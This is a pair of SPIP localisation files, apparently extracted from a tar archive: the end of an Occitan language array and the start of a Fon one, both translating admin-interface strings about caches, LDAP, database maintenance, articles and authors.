'mois_non_connu' => 'non conegut',
// O
'onglet_repartition_actuelle' => 'per lo temps que vai',
// S
'statut_admin_restreint' => '(admin. restrench)', # MODIF
// T
'taille_cache_image' => 'Los imatges qu’SPIP a calculat automaticament (vinhetas daus documents, títols presentats en forma grafica, foncions matematicas en format TeX...) ocupan dins lo repertòri @dir@ un totau de @taille@.',
'taille_cache_infinie' => 'Queu sit prevei brisa de limitacion de talha dau repertòri <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP assaja de limitar la talha dau repertòri <code>CACHE/</code> de queu sit a <b>@octets@</b> de donadas environ.',
'taille_cache_octets' => 'Aura la talha de l’escondedor compassa @octets@.', # MODIF
'taille_cache_vide' => 'L’escondedor es voide.',
'taille_repertoire_cache' => 'Talha dau repertòri escondedor',
'text_article_propose_publication' => 'Article prepausat per la publicacion. Esitetz pas de donar vòstre avás gràcias au forum estachat a quel article (en bas de pagina).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Quauques servidors LDAP acceptan brisa d’accès anonim. En queu cas, chau especificar un identificant d’accès iniciau per poder puei cerchar de las informacions dins l’annuari. Pasmens, los champs seguents se poirán laissar voides dins lo pus mai daus cas.',
'texte_admin_effacer_01' => 'Quela comanda esfaça <i>tot</i> lo contengut de la basa de donadas,
inclús <i>tots</i> los accès redactors e administrators. Un còp que l’auretz executada, auretz de tornar lançar l’installacion d’SPIP per tornar crear una basa novela e mai un primier accès administrator.',
'texte_adresse_annuaire_1' => '(Se vòstre annuari es installat subre la mesma maquina que queu sit web, s’agís probable de "localhost".)',
'texte_ajout_auteur' => 'L’autor seguent es estat apondut a l’article:',
'texte_annuaire_ldap_1' => 'S’accedissetz a un annuari (LDAP), lo podetz utilizar per importar automaticament daus utilizaires sos SPIP.',
'texte_article_statut' => 'Quel article es:',
'texte_article_virtuel' => 'Article virtuau',
'texte_article_virtuel_reference' => '<b>Article virtuau:</b> article referenciat dins vòstre sit SPIP, mas redirigit vers una autra URL. Per suprimir la redireccion, esfaçatz l’URL çai subre.',
'texte_aucun_resultat_auteur' => 'Brisa de resultat per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Queste sit vos pòt indicar de contunh la tiera daus redactors connectats, çò que vos permet d’eschamjar daus messatges en directe. Podetz decidir de pas aparéisser dins quela tiera (setz "invisible/a" per los autres utilizaires).',
'texte_auteur_messagerie_1' => 'Queu sit permet d’eschamjar daus messatges e de constituir daus forums de discussion privats entre los participants dau sit. Podetz decidir de pas participar a quilhs eschamges.',
'texte_auteurs' => 'LOS AUTORS',
'texte_choix_base_1' => 'Chausissetz vòstra basa:',
'texte_choix_base_2' => 'Lo servidor SQL conten mai d’una basa de donadas.',
'texte_choix_base_3' => '<b>Chausissetz</b> çai sos la que vòstre auberjador vos a atribuida:',
'texte_commande_vider_tables_indexation' => 'Utilizatz quela comanda per voidar las taulas d’indexacion utilizadas per lo cerchador integrat a SPIP. Quò lai permetrá
de ganhar de l’espaci disc.',
'texte_compresse_ou_non' => '(Queste se pòt comprimir o non)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_connexion_mysql' => 'Consultatz las informacions que vòstre auberjador fornís: i devetz trobar, se vòstre auberjador supòrta SQL, los còdes de connexion au servidor SQL.', # MODIF
'texte_contenu_article' => '(Contengut de l’article en quauques mots.)',
'texte_contenu_articles' => 'Segon la maqueta que vòstre sit a adoptada, podetz decidir
que quauques elements daus articles s’utilizen pas.
Utilizatz la tiera çai sos per indicar quins elements son disponibles.',
'texte_crash_base' => 'Se vòstra basa de donadas a
frolhat, podetz assajar una reparacion
automatica.',
'texte_creer_rubrique' => 'Avans de poder escriure daus articles,<br /> devetz crear una rubrica.',
'texte_date_creation_article' => 'DATA DE CREACION DE L’ARTICLE:',
'texte_date_publication_anterieure' => 'DATA DE PUBLICACION ANTERIORA :',
'texte_date_publication_anterieure_nonaffichee' => 'Afichar brisa de data de publicacion anteriora.',
'texte_date_publication_article' => 'DATA DE PUBLICACION EN LINHA :',
'texte_descriptif_petition' => 'Descriptiu de la peticion',
'texte_descriptif_rapide' => 'Descriptiu rapid',
'texte_effacer_base' => 'Esfaçar la basa de donadas SPIP',
'texte_effacer_donnees_indexation' => 'Esfaçar las donadas d’indexacion',
'texte_en_cours_validation' => 'Se prepausa de publicar los articles e brevas çai sos. Esitetz pas per donar vòstre avís gràcias aus forums que i son estachats.', # MODIF
'texte_enrichir_mise_a_jour' => 'Podetz enrichir la compaginacion de vòstre text en utilizar de las "escorchieras tipograficas".',
'texte_fichier_authent' => '<b>Deu crear, SPIP, daus fichiers especiaus <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> dins lo repertòri @dossier@?</b><p>
Quilhs fichiers vos pòden servir per restrénher l’accès aus autors
e administrators endacòm mai dins vòstre sit
(programa externe d’estadisticas, per exemple).<p>
Se vos serv pas, podetz laissar questa opcion
a sa valor predefinida (brisa de creacion
daus fichiers).', # MODIF
'texte_informations_personnelles_1' => 'Aura lo sistema vos creará un accès personalizat au sit.',
'texte_informations_personnelles_2' => '(Nòta: se s’agís d’una reïnstallacion, e se vòstre accès fonciona enquera, podetz', # MODIF
'texte_introductif_article' => '(Text introductiu de l’article.)',
'texte_jeu_caractere' => 'Questa opcion es utila se vòstre sit deu afichar daus alfabets
diferents de l’alfabet latin (o "occidentau") e sos derivats.
En queu cas, chau chamjar lo reglatge predefinit per fin d’utilizar
un jòc de caracters apropriat. Oblidetz pas tanpauc d’adaptar
lo sit public en consequéncia (balisa <tt>#CHARSET</tt>).',
'texte_jeu_caractere_2' => 'Queste reglatge a brisa d’efiech retroactiu. Adonc
los texts ja sasits se pòden afichar
d’una maniera incorrecta après que s’aja modificat lo reglatge. Coma que siá
poiretz tornar sens damatge au reglatge precedent.',
'texte_lien_hypertexte' => '(Se vòstre messatge se referís a un article publicat sus lo web, o a una pagina fornissent mai d’informacions, volhatz indicar çai sos lo títol de la pagina e son adreiça URL.)',
'texte_login_ldap_1' => '(Laissar voide per un accès anonim, o picar lo chamin complet, per exemple «<tt>uid=fabre, ou=usanciers, dc=mon-domeni, dc=com</tt>».)',
'texte_login_precaution' => 'Atencion! Quo es lo login emb lo quau setz aura connectat/ada.
Utilizatz queste formulari emb precaucion...',
'texte_message_edit' => 'Atencion: queste messatge, chasque redactor lo pòt veire, e chasque administrator dau sit lo pòt modificar. Utilizatz los anoncis nonmàs per expausar daus eveniments importants de la vida dau sit.',
'texte_mise_a_niveau_base_1' => 'Venetz d’actualizar los fichiers SPIP.
Aura chau metre a niveu la basa de donadas
dau sit.',
'texte_modifier_article' => 'Modificar l’article:',
'texte_moteur_recherche_active' => '<b>Lo cerchador es activat.</b> Utilizatz questa commanda
se voletz tornar indexar la basa rapidament (après restauracion
d’una sauvagarda per exemple). Notatz que los documents modificats de
maniera normala (a partir de l’interfàcia SPIP) se tornan indexar
automaticament: donc questa comanda es utila solament de maniera excepcionala.',
'texte_moteur_recherche_non_active' => 'Lo cerchador es pas activat.',
'texte_multilinguisme' => 'Se desiratz de gerir daus articles en mai d’una lenga, emb una navigacion complexa, podetz apondre un menut per chausir la lenga daus articles e/o de las rubricas, en foncion de l’organizacion de vòstre sit.', # MODIF
'texte_multilinguisme_trad' => 'Podetz maitot activar un sistema de gestion daus liams entre las diferentas reviradas d’un article.', # MODIF
'texte_non_compresse' => '<i>non comprimit</i> (per’mor que vòstre servidor supòrta pas quela foncionalitat)',
'texte_nouveau_message' => 'Messatge nuòu',
'texte_nouvelle_version_spip_1' => 'Avetz installada una version novela d’SPIP.',
'texte_nouvelle_version_spip_2' => 'Questa version novela demanda una actualizacion mai completa que de costuma. Se setz webmestre/webmestra dau sit, volhatz esfaçar lo fichier <tt>inc_connect.php3</tt> dau repertòri <tt>ecrire</tt> e tornar prene l’installacion per fin d’actualizar vòstres parametres de connexion a la basa de donadas.<p> (NB: s’avetz oblidat vòstres parametres de connexion, agachatz lo fichier <tt>inc_connect.php3</tt> avans de lo suprimir...)', # MODIF
'texte_operation_echec' => 'Tornatz a la pagina precedenta, chausissetz una autra basa o creatz-ne’n una novela. Verificatz las informacions que vòstre auberjador a fornidas.',
'texte_plus_trois_car' => 'mai de 3 caracters',
'texte_plusieurs_articles' => 'Mai d’un autor trobat per "@cherche_auteur@":',
'texte_port_annuaire' => '(La valor indicada coma predefinida conven en generau.)',
'texte_proposer_publication' => 'Quand auretz ’chabat vòstre article,<br /> poiretz prepausar que siá publicat.',
'texte_proxy' => 'Dins quauques cas (intranet, rets protegidas...),
se pòt que chalha utilizar un <i>proxy HTTP</i> per aténher los sits sindicats.
En queu cas, marcatz çai sos son adreiça, sos la forma
<tt><html>http://proxy:8080</html></tt>. En generau,
laissaretz voida quela casa.',
'texte_publication_articles_post_dates' => 'Coma SPIP se deu comportar fàcia aus articles que lor
data de publicacion es fixada a una
eschasença futura?',
'texte_rappel_selection_champs' => '[Oblidetz pas de seleccionar queu champ correctament.]',
'texte_recalcul_page' => 'Se voletz
tornar calcular nonmàs una pagina, passatz pusleu per l’espaci public e utilizatz lo boton "tornar calcular".',
'texte_recapitiule_liste_documents' => 'Questa pagina recapitula la tiera daus documents qu’avetz plaçats dins las rubricas. Per modificar las informacions de chasque document, seguetz lo liam vers la pagina de sa rubrica.',
'texte_recuperer_base' => 'Reparar la basa de donadas',
'texte_reference_mais_redirige' => 'article referenciat dins vòstre sit SPIP, mas redirigit vers una autra URL.',
'texte_requetes_echouent' => '<b>Quand quauques requestas SQL frolhan
sistematicament e sens rason aparenta, se pòt
que quò lai venha be ben de la basa de donadas. </b><p>
SQL ten la facultat de reparar sas
taulas quand un accident las
a roinadas. Aicí podetz assajar quela reparacion;
s’abotís pas, servatz una còpia de l’afichatge, que conten
benleu daus indicis de çò que vai pas...<p>
Se lo problema persistís, contactatz vòstre
auberjador.<p>', # MODIF
'texte_selection_langue_principale' => 'Podetz seleccionar çai sos la "lenga principala" dau sit. Quela chausida vos obliga pas -de bonaür- d’escriure vòstres articles dins la lenga seleccionada, mas permet de determinar:
<ul><li> lo format predefinit de las datas subre lo sit public;</li>
<li> la natura dau motor tipografic que SPIP deu utilizar per lo rendut daus texts;</li>
<li> la lenga utilizada dins los formularis dau sit public;</li>
<li> la lenga presentada coma predefinida dins l’espaci privat.</li></ul>',
'texte_sous_titre' => 'Sostítol',
'texte_statistiques_visites' => '(barras escuras: dimenge / corba escura: evolucion de la mejana)',
'texte_statut_attente_validation' => 'en espera de validacion',
'texte_statut_publies' => 'publicats en linha',
'texte_statut_refuses' => 'refusats',
'texte_suppression_fichiers' => 'Utilizatz quela comanda per suprimir tots los fichiers que se tròban
dins l’escondedor SPIP. Quò permet per exemple de forçar un calcul nuòu de totas las paginas
s’avetz bravament modificat lo grafisme o l’estructura dau sit.',
'texte_sur_titre' => 'Subretítol',
'texte_table_ok' => ': questa taula es condrecha.',
'texte_tables_indexation_vides' => 'Las taulas d’indexacion dau motor son voidas.',
'texte_tentative_recuperation' => 'Assai de reparacion',
'texte_tenter_reparation' => 'Assajar de reparar la basa de donadas',
'texte_test_proxy' => 'Per assajar queu proxy, indicatz aicí l’adreiça d’un sit web
que lo voudriatz esprovar.',
'texte_titre_02' => 'Títol:',
'texte_titre_obligatoire' => '<b>Títol</b> [Obligatòri]',
'texte_travail_article' => '@nom_auteur_modif@ a trabalhat sus quel article quò fai @date_diff@ minutas',
'texte_travail_collaboratif' => 'Quand es frequent que mai d’un redactor
trabalhe subre lo mesme article, lo sistema
pòt afichar los articles recentament "doberts"
per fin d’evitar las modificacions simultaneas.
Quela opcion es desactivada de maniera predefinida
per fin d’evitar d’afichar daus messatges d’avertiment
intempestius.',
'texte_trop_resultats_auteurs' => 'Tròp de resultats per "@cherche_auteur@" ; volhatz afinar la cercha.',
'texte_unpack' => 'telecharjament de la darriera version',
'texte_utilisation_moteur_syndiques' => 'Quand utilizatz lo cerchador integrat
a SPIP, podetz far las cerchas sus los sits e
articles sindicats de doas manieras
diferentas. <br /><img src=\'puce.gif\' /> Lo mai
simple consistís a cerchar solament dins los
títols e descriptius daus articles. <br /><img src=\'puce.gif\' />
La segonda maniera, plan mai potenta, permet
a SPIP de cerchar maitot dins lo text daus
sits referenciats.
Se referenciatz un sit, aladonc SPIP fará la
cercha dins lo text dau quite sit.', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'Queu metòde obliga SPIP de vesitar
regularament los sits referenciats,
quò pòt alentir un pauc vòstre quite
sit.',
'texte_vide' => 'voide',
'texte_vider_cache' => 'Voidar l’escondedor',
'titre_admin_effacer' => 'Mantenença tecnica',
'titre_admin_tech' => 'Mantenença tecnica',
'titre_admin_vider' => 'Mantenença tecnica',
'titre_cadre_afficher_article' => 'Afichar los articles',
'titre_cadre_afficher_traductions' => 'Afichar l’estat de las reviradas per las lengas seguentas:',
'titre_cadre_ajouter_auteur' => 'APONDRE UN AUTOR:',
'titre_cadre_interieur_rubrique' => 'Dedins la rubrica',
'titre_cadre_numero_auteur' => 'AUTOR NUMERO',
'titre_cadre_signature_obligatoire' => '<b>Signatura</b> [Obligatòria]<br />',
'titre_config_fonctions' => 'Configuracion dau sit',
'titre_configuration' => 'Configuracion dau sit',
'titre_connexion_ldap' => 'Opcions: <b>Vòstra connexion LDAP</b>',
'titre_groupe_mots' => 'GROP DE MOTS:',
'titre_langue_article' => 'LENGA DE L’ARTICLE', # MODIF
'titre_langue_rubrique' => 'LENGA DE LA RUBRICA', # MODIF
'titre_langue_trad_article' => 'LENGA E REVIRADAS DE L’ARTICLE',
'titre_les_articles' => 'LOS ARTICLES',
'titre_naviguer_dans_le_site' => 'Navigar per lo sit...',
'titre_nouvelle_rubrique' => 'Rubrica novela',
'titre_numero_rubrique' => 'RUBRICA NUMERO:',
'titre_page_admin_effacer' => 'Mantenença tecnica: esfaçar la basa',
'titre_page_articles_edit' => 'Modificar: @titre@',
'titre_page_articles_page' => 'Los articles',
'titre_page_articles_tous' => 'Tot lo sit',
'titre_page_auteurs' => 'Vesitaires',
'titre_page_calendrier' => 'Chalendier @nom_mois@ de @annee@',
'titre_page_config_contenu' => 'Configuracion dau sit',
'titre_page_config_fonctions' => 'Configuracion dau sit',
'titre_page_configuration' => 'Configuracion dau sit',
'titre_page_controle_petition' => 'Segut de las peticions',
'titre_page_delete_all' => 'supression totala e irreversibla',
'titre_page_documents_liste' => 'Los documents de las rubricas',
'titre_page_index' => 'Vòstre espaci privat',
'titre_page_message_edit' => 'Redigir un messatge',
'titre_page_messagerie' => 'Vòstra messatjariá',
'titre_page_recherche' => 'Resultats de la cercha @recherche@',
'titre_page_statistiques_referers' => 'Estadisticas (liams entrants)',
'titre_page_upgrade' => 'Mesa a niveu d’SPIP',
'titre_publication_articles_post_dates' => 'Publicacion daus articles pòstdatats',
'titre_referencer_site' => 'Referenciar lo sit:',
'titre_rendez_vous' => 'RENDETZ-VOS:',
'titre_reparation' => 'Reparacion',
'titre_suivi_petition' => 'Segut de las peticions',
'trad_article_inexistant' => 'I a brisa d’article que pòrte queu numero.',
'trad_article_traduction' => 'Totas las versions de quel article:',
'trad_deja_traduit' => 'Quel article ja es una revirada de l’article present.',
'trad_delier' => 'Pas mai liar queste article a sas reviradas ', # MODIF
'trad_lier' => 'Queste article es una revirada de l’article numero:',
'trad_new' => 'Escriure una revirada novela de queste article' # MODIF
);
?>
ecrire_fon.php 0000666 00000127114 15252547432 0007413 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=fon
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aide_non_disponible' => 'Akpaxwé élɔ sín àlɔgɔ kó sɔgbè ɖò àtɛ ɔ jí ɖò gbè é lɔ mɛ a ',
'avis_acces_interdit' => 'Alì ɖè a',
'avis_article_modifie' => 'Vlɛ, @nom_auteur_modif@ nyowlántɔ é wàzɔ ɖò wêmá é lɔ jí ɔ @date_diff@ ɖò cɛjúmɛ ɔ .',
'avis_aucun_resultat' => 'Gbètà ɖébú tíìn a',
'avis_chemin_invalide_1' => 'Alì é mi sɔ ɔ ',
'avis_chemin_invalide_2' => 'E pkézín a. mi lɛkɔ yì wêmà ɖê wáyí jí bó vɔ kpɔn xógbè lɛ .',
'avis_connexion_echec_1' => 'Mi síwú cálɔ dó Mɔxwìtíxwìtítàtɔ MySql tɔn a.', # MODIF
'avis_connexion_echec_2' => 'Mi lɛkɔ yì wêmà ɖê wáyí jí, bó vɔ kpɔn xógbè mi ná lɛ .',
'avis_connexion_echec_3' => 'Do atɛ gege ji ɔ, mi do na byɔ cavi mi tɔn é mi na byɔ mysql mɛ ɔ, co e na wazɔ. Nu mi sin wu tɛ dowu ɔ, mi kpɔ ɖɔ miɖè afɔ e nɛ a ji.', # MODIF
'avis_connexion_ldap_echec_1' => 'Cacadó do LDAP ɔ gblé',
'avis_connexion_ldap_echec_2' => 'Mi bo lɛ kɔ yi wekpa gudo tɔ̂n ji bo kpɔn ɖɔ xogbè mi tɔn mi sɛdo lɛ ',
'avis_connexion_ldap_echec_3' => 'Mi ma zan LDAP bo do ylɔ zizantɔ lɛ do zɛnzɛn o',
'avis_deplacement_rubrique' => 'vlɛ! @contient_breves@ brève@scb@ ɖé lɛ̂ do akpa é lɔ mɛ : n sɛ sinɔ, mi tɛnkpɔn bo sɔ xlɛ tɔn do fi.',
'avis_destinataire_obligatoire' => 'Mi ɖo na wlan mɛ gɔn wɛn na yi ɔ co na sɛ wɛn do',
'avis_erreur_connexion_mysql' => 'afɔkiklɛn do cacado mysql tɔn mɛ ',
'avis_erreur_version_archive' => 'vlɛ ! xota @archive@ é jɛ do alɔ supipu tɔn dévo ji.Mi jan na kpé afɔ nyanya ɖé lɛ, gblogbloji ɔ sin walɔ nyanya, mi mà na gbe sisɛ do é lɔ o. Nu mi na sè xo gɔ na', # MODIF
'avis_espace_interdit' => 'acɛku Yé ko ze supipu do fi nɛ',
'avis_lecture_noms_bases_1' => 'nyikɔ kpodo gbɛtakɛnxokplé lɛ̂ ye do Titomɛ ɔ mɛ a ',
'avis_lecture_noms_bases_2' => 'Kabi gbɛtakɛnxokplé ɖé a , kabi nuwé nɔ zɔn bɔ mi nɔ to gbɛtakɛnxokplé lɛ sin acɛ ku.sɔ ɖo ayi ni ja wu ɔ ( mɔ wɛ e ɖé lo xwétɔ gege gɔn)',
'avis_lecture_noms_bases_3' => 'ɖo sisɔ akpa dévo tɔn mɛ ɔ, Yé siwu zan gbɛtakɛnxokplé ɖé sɔ nyikɔ mi tɔn ',
'avis_non_acces_message' => 'Mi siwu xa wɛn é lɔ a ',
'avis_non_acces_page' => 'Mi siwu yi wekpa é lɔ ji à ',
'avis_operation_echec' => 'azɔ̂ gbé',
'avis_probleme_archive' => 'xota xixā glo @archive@',
'avis_suppression_base' => 'vlɛ ! nu mi sunsun gbètakɛn lɛ̂ ɔ é vɔ bi sésé',
'avis_version_mysql' => 'Mysql mitɔn ɖévo ( @ ɖévo_mysql@) siwu blo akɔnta gbètakɛn lɛ̂ tɔn a ',
// B
'bouton_acces_ldap' => 'Mi zé gɔna LDAP',
'bouton_ajouter' => 'Mi gɔna ',
'bouton_ajouter_participant' => 'Mi zé mɛɖokpo gɔna',
'bouton_annonce' => 'Xo ɖɔdotoji',
'bouton_checkbox_envoi_message' => 'mi hɛn ɔ mi na sɛ wɛn ɖokpo ɖo',
'bouton_checkbox_indiquer_site' => 'mi ɖo na xlɛgblogbloji ɖokpo',
'bouton_checkbox_signature_unique_email' => 'e-mail ɖokpo, alɔɖowémàmɛ ɖokpo',
'bouton_checkbox_signature_unique_site' => 'gblogbloji ɖokpo, alɔɖowémàmɛ ɖokpo',
'bouton_demande_publication' => 'Mi kàn ɖiɖétɔn wékpa é lɔ tɔn byɔ',
'bouton_effacer_index' => 'Mi sùnsun indexu ɔ ',
'bouton_effacer_tout' => 'Mi sùnsun bi',
'bouton_envoi_message_02' => 'sɛ wɛn ɖo',
'bouton_envoyer_message' => 'wɛn gudogudotɔn : sɛdo',
'bouton_modifier' => 'ɖyɔ',
'bouton_pense_bete' => 'Lin tamɛ ɖo zizan whɛ dé su tɔn wu ',
'bouton_radio_activer_messagerie' => 'Mi ta wɛnwiwlan ',
'bouton_radio_activer_messagerie_interne' => 'Mi ta wɛnwiwlan ',
'bouton_radio_activer_petition' => 'mi sɔ kɛn ',
'bouton_radio_afficher' => 'mi xlɛ',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'ɖo xlɛ ɖo ɖiɖè nyɔwlantɔ̂é ɖo kan ji lɛ',
'bouton_radio_desactiver_messagerie' => 'Mi jo wiwlanmɛ ɖo',
'bouton_radio_envoi_annonces_adresse' => 'Mi sɛ xojla do',
'bouton_radio_envoi_liste_nouveautes' => 'mi kplé xogbè yɔyɔ lɛ̂ do ',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'mi ma ɖo xlɛ ɖo ɖiɖè nyɔwlantɔ tɔn mɛ o ',
'bouton_radio_non_envoi_annonces_editoriales' => 'mi ma sɛ gbètàxojla do',
'bouton_radio_pas_petition' => 'Tajijla ɖé dé a ',
'bouton_radio_petition_activee' => 'Tajijla ɖé ',
'bouton_radio_supprimer_petition' => 'mi sunsùn Tajijla ',
'bouton_redirection' => 'mi lɛ vɔ jlɛ',
'bouton_relancer_installation' => 'Mi lɛ vɔ afɔɖotè ɔ blo',
'bouton_suivant' => 'E jɛ gudo ɔ',
'bouton_tenter_recuperation' => 'mi nà tɛnkpɔn bo bloɖo',
'bouton_test_proxy' => 'mi tɛn proxy kpɔn ',
'bouton_vider_cache' => 'bɛ simɛ',
'bouton_voir_message' => 'mi xa wɛn é lɔ co bo sɔ kɛn na',
// C
'cache_mode_compresse' => 'Wli gbètā jando gudo lɛ̂ hɛn',
'cache_mode_non_compresse' => 'Wli gbètā jando gudo lɛ̂ hɛn',
'cache_modifiable_webmestre' => 'mɛ lò mɔɔjí ɔ hɛn ɔ é ná vɔ ɖiɖèmɛ bló',
'calendrier_synchro' => 'Nú jó ná zán gbèta, mi siwú xò bí kplé ',
// D
'date_mot_heures' => 'ganmɛ lɛ',
// E
'email' => 'e-mailu',
'email_2' => 'e-mailu',
'entree_adresse_annuaire' => 'gési wěma ',
'entree_adresse_email' => 'e-mailu mī tɔn',
'entree_base_donnee_1' => 'gési gbèta bɛɖókpɔ',
'entree_base_donnee_2' => 'hwéɖé lɛ tin ɔ gési é lɔ nɔ jɛ dó gblògblòjí mī wú',
'entree_biographie' => 'wl nú ɖó gbɛ zan mɛ tɔn wu ɖó kléwun mɛ',
'entree_chemin_acces' => 'hɔntogbó',
'entree_cle_pgp' => 'cávì PGP',
'entree_contenu_rubrique' => 'mī ɖɔ xó é ɖò akpaxwé ɔ mɛ ɔ ɖó kléwunmɛ',
'entree_identifiants_connexion' => 'mī zé mì xlɛ',
'entree_informations_connexion_ldap' => 'mī zé mì xlɛ',
'entree_infos_perso' => 'mɛ cé ká ɖyè ',
'entree_interieur_rubrique' => 'ɖò akpaxwé ɔ mɛ',
'entree_liens_sites' => 'cacadó gblògblòjí ɔ tɔn',
'entree_login' => 'nyìkɔ mī tɔn ',
'entree_login_connexion_1' => 'nyìkɔ mī tɔn ',
'entree_login_connexion_2' => 'nyìkɔ mī tɔn ',
'entree_login_ldap' => 'nyìkɔ mī tɔn LDAP tɔn ',
'entree_mot_passe' => 'cávì mī tɔn ',
'entree_mot_passe_1' => 'cávì mī tɔn ',
'entree_mot_passe_2' => 'cávì mī tɔn ',
'entree_nom_fichier' => 'mī sɛ nyìkɔ gbètà tɔn ɔ sɛɖó ',
'entree_nom_pseudo' => 'mī sɛ sùnyìkɔ tɔn sɛɖó',
'entree_nom_pseudo_1' => ' nyìkɔ mi tɔn àlo sùnyìkɔ tɔn ',
'entree_nom_site' => 'gblògblòjí tɔn sin nyìkɔ',
'entree_nouveau_passe' => 'cávì ɖévó',
'entree_passe_ldap' => 'cávì ',
'entree_port_annuaire' => 'numɛlo wěma tɔn',
'entree_signature' => 'àlɔ ɖó wěmá mɛ',
'entree_titre_obligatoire' => 'xótá dandan',
'entree_url' => 'gési gblogboji ton',
// I
'ical_info1' => 'nú mi ná ɖó àcéjí kpóɖó gblogblojí é lɔ mi kpɔn wàlɔ tòbútòbú é lò wěkpá jí ɔ .',
'ical_info2' => 'Nú mi lɛ lò xógbè xwítíxwítí bà wɛ ɔ mi síkú yí sùpípú sín xóxòkplémɛ.', # MODIF
'ical_info_calendrier' => 'Yè sɛ kàlànɖlyé wè ɖó mí. ɖòkpó nyí gblogblojí ɔ sín tìtòmɛ tɔn bó nɔ xlɛ wě ɖé yè wlàn lɛ bí. Wègɔ ɔ é nyí xógbèɖòtàjì kpó wɛn mì tɔn vívɛná lɛ kpó jí : mi ɖó càvì mi tɔn, bɔ mi lɛ hɛn ɔ mi ná lɛ nɔ ɖyɔ ɛ kpódó gbètákɛn. .',
'ical_methode_http' => 'ɖìɖɔn ',
'ical_methode_webcal' => 'mìmá',
'ical_texte_js' => 'ɖìdèmɛ javasùclipù tɔn ná síwú nɔ mi ná xlɛ wěkpá gùdógùdó tɔn lɛ ɖò gblogblojí ɖébújí..',
'ical_texte_prive' => 'kàlànɖlyé é lɔ é nyí miɖɛsú tɔn ɔn, nɔ ná xógbè ɖó xógbèɖòtàjìzɔ gblogblojí ɔ tɔ wú',
'ical_texte_public' => 'kàlànɖlyé ná ná bɔ nùkún mi tɔn ná nɔ gblogblojí ɔ sín àzɔnùkùnɖéjí ɔ jí.',
'ical_texte_rss' => 'Mí hɛn ɔ mi siwú má xógbè yɔyɔ é lò gblogblo ɔ jí é, mi sìkú lɛ zán xìxàtɔ ɖébú bóɖó xà XML/RSS/. ',
'ical_titre_js' => 'Javasucriptu',
'ical_titre_mailing' => 'Mailing-list',
'ical_titre_rss' => 'Xótá « backend »',
'icone_activer_cookie' => 'Zin kwín é jɛ ɖó',
'icone_afficher_auteurs' => 'Zé nyɔwlántɔ lɛ xlɛ',
'icone_afficher_visiteurs' => 'ɖè jonɔ lɛ xlɛ',
'icone_arret_discussion' => 'é má sɔ kɛnudo xómɛ o',
'icone_calendrier' => 'kàlánɖlyé',
'icone_creer_auteur' => 'Mi ɖè gbètakɛn yɔyɔ dévó tɔn ',
'icone_creer_mot_cle' => 'Mi zé nyɔwlántɔ yɔyɔ dévó tɔn bó cáɖó wěkpá',
'icone_creer_rubrique_2' => 'Mi ɖè àkpáxwé dévó tɔn',
'icone_envoyer_message' => 'sɛ whɛn ɖó',
'icone_modifier_article' => 'mi vɔ ɖyɔ wékpá',
'icone_modifier_message' => 'mi vɔ ɖyɔ wɛn ɔ ',
'icone_modifier_rubrique' => 'mi vɔ ɖyɔ àkpáxwé ɔ',
'icone_retour' => 'lɛkɔ',
'icone_retour_article' => 'lɛkɔ yì wěkpá ɔ jí',
'icone_supprimer_cookie' => 'gbìɖí kwín jɛ ɖé wú lɛ',
'icone_supprimer_rubrique' => 'gbìɖí àkpáxwé é lɔ',
'icone_supprimer_signature' => 'gbìɖí àlɔɖówěmámɛ é lɔ',
'icone_valider_signature' => 'sɔ kɛn nú àlɔɖówěmámɛ é lɔ',
'image_administrer_rubrique' => 'Mi síw tò àkpáxwé é lɔ',
'info_1_article' => 'wěkpá ɖòkpó',
'info_1_site' => 'gblogblojí ɖòkpó',
'info_activer_cookie' => 'Mi sí wlán xógbè é sɔgbèbɔ mi ná dó jɛ àgun dévómɛ.',
'info_admin_gere_rubriques' => 'tìtòt é lɔ nɔ bló àkpáxwé é lɔ lɛ ɖó:',
'info_admin_gere_toutes_rubriques' => 'tìtòt é lɔ nɔ bló àkpáxwé é lɔ lɛ ɖó', # MODIF
'info_administrateur' => ' tìtòtɔ ',
'info_administrateur_1' => 'tìtòtɔ',
'info_administrateur_2' => 'gblogblojí yè z kpó yɛyì',
'info_administrateur_site_01' => 'nú mi nyí tìtòtɔ gblogblojí tɔn ɔ mi kɛnklyɛn bó',
'info_administrateur_site_02' => 'mi zín fí',
'info_administrateurs' => 'tìtòtɔ lɛ',
'info_administrer_rubrique' => 'mi hɛn ɔ mi ná to àkpáxwé é lɔ ',
'info_adresse' => 'nɔtɛn',
'info_adresse_url' => 'nɔtɛn gblogblojí ɔ tɔn ',
'info_afficher_visites' => 'mi xlɛ jònɔbíbà ɛ:',
'info_aide_en_ligne' => 'àlɔdó sùpípù tɔn',
'info_ajout_image' => 'àlɔdó sùpípù tɔn.',
'info_ajout_participant' => 'mɛ dókpó lɛ gɔná:',
'info_ajouter_rubrique' => 'mi gɔ xókwín dókpó ná:',
'info_annonce_nouveautes' => 'xójíjlá yɔyɔ lɛ',
'info_anterieur' => 'ɖàyí xóxó',
'info_article' => 'wěkpá',
'info_article_2' => 'wěkpá',
'info_article_a_paraitre' => 'wěkpá yé ɖó àzán ná',
'info_articles_02' => ' wěmâ',
'info_articles_2' => 'wěmâ',
'info_articles_auteur' => 'nyɔwlántɔ é lɔ sín wěmà',
'info_articles_trouves' => 'wěmà yè mɔ é',
'info_articles_trouves_dans_texte' => 'wěmà yè mɔ é',
'info_attente_validation' => 'mi ɖòtè bò ná sɔ kɛn nú wěmà lɛ ',
'info_aujourdhui' => 'égbé:',
'info_auteur_message' => 'Wɛn sɛɖótɔ :',
'info_auteurs' => 'Nyɔwlántɔ lɛ̂',
'info_auteurs_par_tri' => 'Nyɔwlántɔ (lɛ̂)',
'info_auteurs_trouves' => 'Nyɔwlántɔ lɛ̂ ɖê mi mɔ ɔ',
'info_authentification_externe' => 'Acɛ yíyí',
'info_avertissement' => 'Mi có mi ɖé',
